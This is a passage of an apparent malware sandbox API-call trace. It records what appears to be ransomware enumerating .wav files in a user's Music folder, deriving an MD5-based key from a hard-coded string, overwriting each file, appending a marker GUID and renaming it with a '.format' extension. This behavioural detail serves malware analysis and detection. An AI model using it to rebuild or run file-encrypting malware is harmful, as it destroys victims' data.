lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.933] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.933] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x53bc, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x53bc, lpOverlapped=0x0) returned 1 [0067.933] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.933] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x53c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.933] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.933] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.933] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.933] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.934] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.934] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.934] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.934] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.934] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.934] CloseHandle (hObject=0x5c8) returned 1 [0067.935] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0067.935] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x880) returned 0x3178dd8 [0067.935] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31756e8 | out: hHeap=0x5d0000) returned 1 [0067.935] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\T0s4dbG.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\t0s4dbg.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\T0s4dbG.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\t0s4dbg.wav.format")) returned 1 [0067.935] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.935] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.936] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.936] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1394d0, ftCreationTime.dwHighDateTime=0x1d4c61b, ftLastAccessTime.dwLowDateTime=0x5aadd350, ftLastAccessTime.dwHighDateTime=0x1d4c56f, ftLastWriteTime.dwLowDateTime=0x5aadd350, ftLastWriteTime.dwHighDateTime=0x1d4c56f, nFileSizeHigh=0x0, nFileSizeLow=0x2a94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_BtMiEaYBTzY.wav", cAlternateFileName="_BTMIE~1.WAV")) returned 1 [0067.936] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.936] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8e) returned 0x313ab18 [0067.936] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.936] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\_BtMiEaYBTzY.wav") returned=".wav" [0067.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\_BtMiEaYBTzY.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\_btmieaybtzy.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.936] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=10900) returned 1 [0067.936] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.939] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2a6e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.939] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.940] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.940] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.940] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.940] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x2a94, lpOverlapped=0x0) returned 1 [0067.940] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.940] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.940] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.940] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.940] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac018) returned 1 [0067.941] CryptCreateHash (in: hProv=0x6ac018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.941] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.941] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.941] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.941] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.941] GetLastError () returned 0x0 [0067.941] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.941] CryptReleaseContext (hProv=0x6ac018, dwFlags=0x0) returned 1 [0067.941] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.941] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2a90) returned 0x32aa8e0 [0067.941] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.941] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.941] WriteFile (in: hFile=0x5c8, lpBuffer=0x32aa8e0*, nNumberOfBytesToWrite=0x2a8f, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32aa8e0*, lpNumberOfBytesWritten=0x38cfb24*=0x2a8f, lpOverlapped=0x0) returned 1 [0067.941] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32aa8e0 | out: hHeap=0x5d0000) returned 1 [0067.941] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x2a94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.941] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.941] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.941] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.941] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.941] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.942] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.942] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.942] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.942] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.942] CloseHandle (hObject=0x5c8) returned 1 [0067.942] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac018 [0067.942] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.942] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac018 | out: hHeap=0x5d0000) returned 1 [0067.943] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\_BtMiEaYBTzY.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\_btmieaybtzy.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\okHQRb\\_BtMiEaYBTzY.wav.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\okhqrb\\_btmieaybtzy.wav.format")) returned 1 [0067.943] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.943] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.944] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0067.944] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a1394d0, ftCreationTime.dwHighDateTime=0x1d4c61b, ftLastAccessTime.dwLowDateTime=0x5aadd350, ftLastAccessTime.dwHighDateTime=0x1d4c56f, ftLastWriteTime.dwLowDateTime=0x5aadd350, ftLastWriteTime.dwHighDateTime=0x1d4c56f, nFileSizeHigh=0x0, nFileSizeLow=0x2a94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_BtMiEaYBTzY.wav", cAlternateFileName="_BTMIE~1.WAV")) returned 0 [0067.944] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.944] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.944] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.944] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.944] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.944] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.944] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.944] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.944] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.944] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.944] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.944] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.944] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.944] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.944] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.944] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.945] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.945] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.946] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.946] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.947] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.947] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.948] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.948] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 